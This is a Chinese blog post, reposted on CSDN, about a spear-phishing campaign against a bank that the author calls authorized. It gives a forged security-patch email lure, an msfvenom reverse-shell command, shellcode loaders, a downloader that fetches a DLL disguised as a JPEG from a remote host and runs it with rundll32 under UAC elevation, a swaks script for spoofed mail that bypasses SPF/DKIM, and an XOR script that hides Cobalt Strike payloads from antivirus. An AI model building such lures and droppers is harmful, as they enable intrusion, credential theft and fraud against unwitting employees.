鱼叉攻击-尝试_x x i x29 -x x i x 2 9-程序员宅基地

技术标签: 渗透  

作者:倾旋

0x00 前言

本次是授权的鱼叉案例,也都是尝试,经验不够丰富

0x01 鱼叉攻击

“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马。

0x02 准备开始

久久拿不到shell,遂开始通过鱼叉攻击,希望获得一些收获

询问是否允许支持这类技术手段:

2019-05-21-17-31-30

接着找同事提供素材,一封客户的邮件,里面包含了邮件签名、部门名称、Logo

0x03 制作模板

2019-05-21-17-36-21

大致内容为:

标题:上海xxx关于业务网、办公网终端安全紧急加固公告

背景

北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。

受影响的版本

  • Windows 7
  • Windows Server 2008 R2
  • Windows Server 2008
  • Windows Server 2003
  • Windows XP

由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害,由总行信息科技部研究决定,先推行漏洞加固补丁,确保业务网、办公网全部修补漏洞。

安装方式

解压“上海xxxRDP漏洞补丁.zip”,解压密码:xxx123,解压成功后,双击运行“RDP-VulnPatch.exe”即可:

修复成功会提示“修复漏洞成功!”

上海xxx

二零一九年五月二十日

其中解压密码也是目标常见的弱口令。

0x04 制作木马

通过手工制作一个Windows/shell/reverse_tcp的木马DLL,先获得Msfvenom生成的shellcode。

$ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20

2019-05-21-17-39-23

用之前的QQ拼音输入法DLL劫持漏洞,来一次白利用。

VOID shdjshjdhsjhdjshdjs() {
	
		unsigned char buff[] =
		"\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
		"\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17"
		"\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2";

	PVOID p = NULL;
	if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) {
		printf("error");
	}
		
	if (!(CopyMemory(p, buff, sizeof(buff)))) {
		printf("error");
	}
	
	CODE code = (CODE)p;
	code();
}


参考文章:https://payloads.online/archivers/2018-06-09/1

0x05 搜集邮箱

在百度文库搜索到来一些:

图就不贴了,打码麻烦。。。

写了一个bash脚本用于发送伪造邮件:

for line in `cat mail`
do
	echo "$line"

	sed "s/[email protected]/${line}/g" data.eml | swaks --to $line --from [email protected] --h-From '=?UTF-8?B?xx?= <[email protected]>' --server mail.smtp2go.com -p 2525 -au USER -ap PASS --data - > /tmp/send.log
done


data.eml是转换出来的邮件正文

2019-05-21-17-42-16

该技术是可以绕过SPF及DKIM检测的。

2019-05-21-17-42-37

具体参考:https://payloads.online/archivers/2019-05-09/1

由于是反弹cmd做测试,所以不会被360拦截

2019-05-21-17-43-02

邮件效果如下:

2019-05-21-17-44-03

0x06 一点点收获

2019-05-21-17-44-37

经过确认,不是客户的机器。

0x07 第二个版本

由于之前使用的是QQ输入法签名加载器,当鼠标移动上去会显示程序描述信息,这不是我想要的结果,于是开始手撸木马….

开发环境:

  • Windows 10 x64
  • Visual Studio 2015

测试环境:

  • Windows 7 x64
  • 360卫士

0x08 木马思路

写一个下载器充当漏洞补丁程序,下载器再去服务器下载DLL模块,使用Rundll32进行加载运行。

期间涉及到窗口提示优化、程序资源信息优化、权限申请

效果如下:

2019-05-21-17-46-35

下载器代码:

// Win32Project5.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;


HRESULT DownloadFile(PTCHAR URL, PTCHAR File);

static TCHAR URL[] = TEXT("http://**.**.**.**:8000/fff.jpeg");
static TCHAR SaveFile[MAX_PATH];
static TCHAR FileName[] = TEXT("\\fff.dll");
// 下载文件
HRESULT DownloadFile(PTCHAR URL, PTCHAR File) {
	HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL);
	return hr;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)

{
	ZeroMemory(SaveFile, MAX_PATH);
	GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);

	lstrcatW(SaveFile, FileName);
	if (DownloadFile(URL, SaveFile) != S_OK)
	{
		// wprintf(TEXT("Error: %d \n"), GetLastError());
		MessageBox(NULL, TEXT("修复漏洞失败,请检查网络,是否能够连接到微软服务器!"), TEXT("上海xxx"), MB_ICONWARNING | MB_OK);
		return 0;
	}

	lstrcatW(SaveFile, TEXT(",rundll32dllfun"));
	TCHAR opt[MAX_PATH];
	ZeroMemory(opt, MAX_PATH);
	lstrcatW(opt, TEXT(" "));
	lstrcatW(opt, SaveFile);
	PROCESS_INFORMATION pi;
	STARTUPINFO si = { sizeof(si) };
	si.cb = sizeof(si);
	si.wShowWindow = TRUE;
	CreateProcess(
		TEXT("C:\\Windows\\System32\\rundll32.exe"), 
		opt,
		NULL, 
		NULL, 
		FALSE, 
		CREATE_NEW_CONSOLE,
		NULL,
		NULL, 
		&si, 
		&pi);
	cout << GetLastError() << endl;
	MessageBox(NULL, TEXT("修复漏洞成功!"), TEXT("上海xxx"), MB_OK | MB_ICONINFORMATION);
	
    return 0;
}

fff.jpeg的代码:

// Win32Project6.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "Win32Project6.h"

typedef void(_stdcall *CODE)();
// 这是导出变量的一个示例
WIN32PROJECT6_API int nWin32Project6=0;


extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
	unsigned char buf[] =
		"\xbf\xaa\x57\x39\xb0\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
		"\xd6\x83\xe8\xfc\x31\x78\x10\x03\x78\x10\x48\xa2\x81\x35\xa2"
		"\x82\x9c\xef\x7f\xc5\x15\x34\x8b\xad\xe6\xfd\xc2\x9d\x38\xbd"
		"\x31\x21\x78\x54\xba\xce\x82\xb4\xcc\xe5\x68\x8e\x22\x28\xd7"
		"\x06\x8c\x96\x0a\x7b\xed\x44\xf0\x94\x65\x0e\xa4\x3b\x2e\xcb"
		"\xe7\x17\x60\xaf\x1d\xa4\x57\x1f\xb1\xf3\x01\x31\x5c\x6a\x97"
		"\xf...省略...";
	PVOID p = NULL;
	p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (p != NULL)
	{
		memcpy(p, buf, sizeof(buf));
		CODE code = (CODE)p;
		code();
	}
	return;
}

其中extern "C" _declspec(dllexport) void __cdecl rundll32dllfun是符合rundll32加载的固定函数定义格式。

当木马运行后,会在进程列表创建rundll32.exe,它是一个系统文件。

UAC

为了使木马获取更高的权限,我开启了管理员权限申请:

2019-05-21-17-48-31

点击是:

2019-05-21-17-49-27

提示修复成功,然后程序关闭。

同时,本地机器上会生成一个dll文件:

2019-05-21-17-49-46

2019-05-21-17-50-20

进程中也会多出一个rundll32,360不会拦截:

2019-05-21-17-50-39

服务端提供下载的服务器会多出日志:

2019-05-21-17-50-55

2019-05-21-17-51-09

0x09 发送邮件

邮箱地址通过http://www.skymem.info 采集到200多个,同时也写了一个脚本:

2019-05-21-17-52-52

估计要跑一晚上了,明天看收获吧,如果有的话,继续写。

0x10 升级木马

第一版是一个败笔,应该关注更多视觉感受,比如图标、logo,暗示它这个文件是可信的,不应该使用其他程序用作加载器,来达到免杀的效果。如果第二版的木马当作第一版去发,我觉得成功率80%。

但是我觉得光采用反弹cmd的太烂了,木马要像模像样点。

于是,开始对木马进行改造,下载器文件不变,只需要更新服务器上的fff.jpeg这个DLL即可,因为每次运行,都会下载这个DLL,然后用rundll32调用。

我想使得它上线cobaltstrike,绕过Windows Defender基本上没啥问题了,既保证之前的邮件木马可用,又能保证新的代码更新。

重写rundll32dllfun即可:

fff.jpeg:

extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,
	int nCmdShow)
{
	CHAR cpu_code[] =
		"\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21...省略部分....\x3e\x38\x27\x38\x30\x27\x38\x3d\x3d\x27\x3f\x30\x09\x09\x09\x09\x09";
	DWORD dwCodeLength = sizeof(cpu_code);
	DWORD dwOldProtect = NULL;
	for (DWORD i = 0; i < dwCodeLength; i++) {
		cpu_code[i] ^= 9;
	}

	PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (pCodeSpace != NULL)
	{
		CopyMemory(pCodeSpace, cpu_code, dwCodeLength);
		Sleep(200);
		VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect);
		CODE coder = (CODE)pCodeSpace;
		HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL);
		WaitForSingleObject(hThread, INFINITE);
	}

	return;
}


这里采用了异或解码shellcode、虚拟内存页属性调整、创建线程的方式执行shellcode,绕过90%的杀软…

创建线程的好处就是,可以调用WaitForSingleObject来使得shellcode执行完毕进程才退出。

好几次调试的时候,进程执行完毕了shellcode还没运行,使用WaitForSingleObject就解决了这个问题~

为此为还写了一个异或脚本:

import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp):
    shellcode = ''
    shellcode_size = 0
    try:
        while True:
            code = src_fp.read(1)
            if code == '':
                break
            base10 = ord(code) ^ num
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' + code_hex
            shellcode += '\\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
    parser.add_argument('-v','--version',nargs='?')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
    main()

生成一个payload.bin:

2019-05-21-17-58-59

选择raw:

2019-05-21-17-59-16

使用效果:

2019-05-21-17-59-41

把生成的文件shellcode直接可以放入源代码进行编译。

2/70的战绩:

https://www.virustotal.com/#/file/576281eabe371ce01e3e23048652e878022144eca9696bf1dbf7741bd6e30c86/detection

2019-05-21-18-00-52

微步在线:

https://s.threatbook.cn/report/file/576281eabe371ce01e3e23048652e878022144eca9696bf1dbf7741bd6e30c86/?env=win7_sp1_enx64_office2013

0/25的战绩,一个都未杀出:

2019-05-21-18-12-36

更新了fff.jpeg后,我只需要在cobaltstrike上等待新上线的机器即可。。。

只要不停的发。。

0x11 Cobaltstrike Spear Phish

Cobaltstrike已经具备了伪造邮件的功能,不用再记忆swaks命令了。

参考:https://cobaltstrike.com/help-spear-phish

2019-05-22-13-04-51

为了使得smtp2go绕过spf检查,所以在Bunce to填写[email protected]

2019-05-22-13-09-16

2019-05-22-13-06-37

这两天我的样本被沙箱疯狂分析:

2019-05-22-13-07-15

不过这也正常…

0x12 总结

其实钓鱼:

  • 多搜集信息
  • 多在附件里加一些目标相关的信息,降低心理防御
  • 多换位思考一下就都明白了
  • 多一些心理暗示的东西(木马图标、程序描述、UAC?)
  • 可广式撒网
  • 木马一定要可靠
  • 白利用似乎只适合维持权限

网上那么多骗子,和防骗教育,为什么总是有人上钩,100个人没有,那1万个总会有。

附加了UAC属性的应用程序上面会有一个盾牌,有些用户误以为它是安全的。

2019-05-21-18-08-07

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/wizardforcel/article/details/90725083

智能推荐

Python自动化操作pywinauto_python pywinauto-程序员宅基地

文章浏览阅读5.4k次,点赞8次,收藏38次。Python自动化操作(pywinauto)_python pywinauto

vmware虚拟机运行速度卡慢原因分析及解决办法大全(二)_虚拟机打开主机2文件很慢怎么办-程序员宅基地

文章浏览阅读7.8w次,点赞28次,收藏169次。 很多人在使用虚拟机系统的时候,经常对虚拟机的运行速度不甚满意,甚至经常很恼火。虚拟机速度慢有很多原因,每个人需要根据自己的情况具体分析,本文根据笔者的使用经验将从17个方面进行分析和总结,以期能尽量优化虚拟机的运行速度。 本文是本专题的第二篇文章,上一篇文章请戳这里《vmware虚拟机运行速度卡慢原因分析及解决办法大全(一)》6、分辨率 显示性能也是影响虚拟机速度的重要因素,在不影响工作的..._虚拟机打开主机2文件很慢怎么办

SyntaxError: (unicode error) ‘unicodeescape‘ codec can‘t decode bytes in position 12-13: truncated \_(unicode error) 'unicodeescape' codec can't decode-程序员宅基地

文章浏览阅读475次,点赞6次,收藏5次。问题记录。转义字符 \ 、文件读写。_(unicode error) 'unicodeescape' codec can't decode bytes in position 12-13:

【机器学习系列】MCMC第一讲:蒙特卡罗方法初认识_机器学习 蒙特卡罗-程序员宅基地

文章浏览阅读369次。作者:CHEONG公众号:AI机器学习与知识图谱研究方向:自然语言处理与知识图谱阅读本文之前,首先注意以下两点:1. 机器学习系列文章常含有大量公式推导证明,为了更好理解,文章在最开始会给出本文的重要结论,方便最快速度理解本文核心。需要进一步了解推导细节可继续往后看。2. 文中含有大量公式,若读者需要获取含公式原稿Word文档,可关注公众号【AI机器学习与知识图谱】后回复:MCMC第一讲,可添加微信号【17865190919】进学习交流群,加好友时备注来自CSDN。原创不易,转载请告知并注..._机器学习 蒙特卡罗

C语言把100除以二重复10次,c语言经典案例100题.doc-程序员宅基地

文章浏览阅读430次。c语言经典案例100题c语言经典案例100题cdcd./c语言经典程序100例 - 笔记 - 周欢 - CSDN学生大本营 - Powered by UCenter Home首页资讯研发移动云计算空间学生论坛博客下载网摘程序员外包书店CTO俱乐部TUP培训充电高校club《 - 》日一二三四五六000000000000000000000000000000000000000000点 分2020..._求100除2十次方c语言

ThingJS官方示例(九):通过CityBuilder转出的url开发3D地图脚本_citybuilder地图怎么导出-程序员宅基地

文章浏览阅读1.3k次。#前端开发##3D可视化##物联网#明确虚拟场景的位置Citybuilder导出二次开发基础参数配置与修改CityBuilder(城市级场景搭建工具)使用起来足够简单,非常符合设计人员的使用习惯,那么,辛辛苦苦做好的城市级场景,如何交付给开发,在后续的环节中灵活使用?ThingJS平台早就考虑到了这个问题,统一了平台数据,支持CityBuilder转出url;平台加载地图组件之后,即可轻松二次开发。下面我们就来解析使用步骤,有任何问题请留言。明确虚拟场景的位置三维地球立足于世界坐标系,城_citybuilder地图怎么导出

随便推点

mysql隐式转换导致的索引失效分析_数据库隐式转换 索引失效-程序员宅基地

文章浏览阅读606次。本次测试使用的 MySQL 版本是 5.7.26,随着 MySQL 版本的更新某些特性可能会发生改变,本文不代表所述观点和结论于 MySQL 所有版本均准确无误,版本差异请自行甄别。原文:https://www.guitu18.com/post/2019/11/24/61.html前言数据库优化是一个任重而道远的任务,想要做优化必须深入理解数据库的各种特性。在开发过程中我们经常会遇到一些原因很简单但造成的后果却很严重的疑难杂症,这类问题往往还不容易定位,排查费时费力最后发现是一个很小的疏忽造成的,._数据库隐式转换 索引失效

R︱并行计算以及提高运算效率的方式(parallel包、clusterExport函数、SupR包简介)-程序员宅基地

文章浏览阅读3.3k次,点赞4次,收藏9次。终于开始攻克并行这一块了,有点小兴奋,来看看网络上R语言并行办法有哪些: 赵鹏老师(R与并行计算)做的总结已经很到位。现在并行可以分为: 隐式并行:隐式计算对用户隐藏了大部分细节,用户不需要知道具体数据分配方式 ,算法的实现或者底层的硬件资源分配。系统会根据当前的硬件资源来自动启动计算核心。显然,这种模式对于大多数用户来说是最喜闻乐见的。 显性并行:显式计算则要求用户能够自己..._clusterexport

exe文件:electron设置窗口默认最大化(默认全屏)_electron窗口最大化-程序员宅基地

文章浏览阅读2.9k次,点赞2次,收藏3次。exe文件:electron设置窗口默认最大化(默认全屏)_electron窗口最大化

使用C++语言实现哈希表查找_c++判断哈希表中是否存在-程序员宅基地

文章浏览阅读148次。这里采用了一种简单的哈希函数,将字符串中的每个字符乘以一个较大的质数,并累加起来作为哈希值。这种哈希函数的优点是简单快速,但是由于没有考虑字符串的分布规律,容易导致哈希冲突。这里先使用哈希函数计算出关键字应该插入的位置,在对应的链表中查找是否已经存在该关键字,如果不存在,则将关键字插入到链表的末尾。这里同样使用哈希函数计算关键字的位置,在对应的链表中查找是否存在该关键字,如果存在,则返回true,否则返回false。方法将一个字符串映射到整数,该方法通常需要满足一定的分布特性,以保证尽可能少的哈希冲突。_c++判断哈希表中是否存在

操作系统及软件常用的日语单词-程序员宅基地

文章浏览阅读357次。"Out Look"中的日语单词メールメッセージ 邮件 ニュースメッセージ 新闻邮件 インスタントメッセージ 即时邮件 フォルダ 文件夹 連絡先 联系人 添付ファイルの保存 保存附件 ひな形として保存 另存为信纸 最適化 ...

探索Transformer-MM-Explainability:深度学习可解释性新纪元-程序员宅基地

文章浏览阅读399次,点赞3次,收藏9次。探索Transformer-MM-Explainability:深度学习可解释性新纪元项目地址:https://gitcode.com/hila-chefer/Transformer-MM-Explainability在人工智能领域,特别是自然语言处理(NLP)中,Transformer模型已经成为主导,但其内部运作机制的黑箱特性一直困扰着开发者和研究人员。现在,让我们一起走进Transfor..._可解释性 开源项目

推荐文章

热门文章

相关标签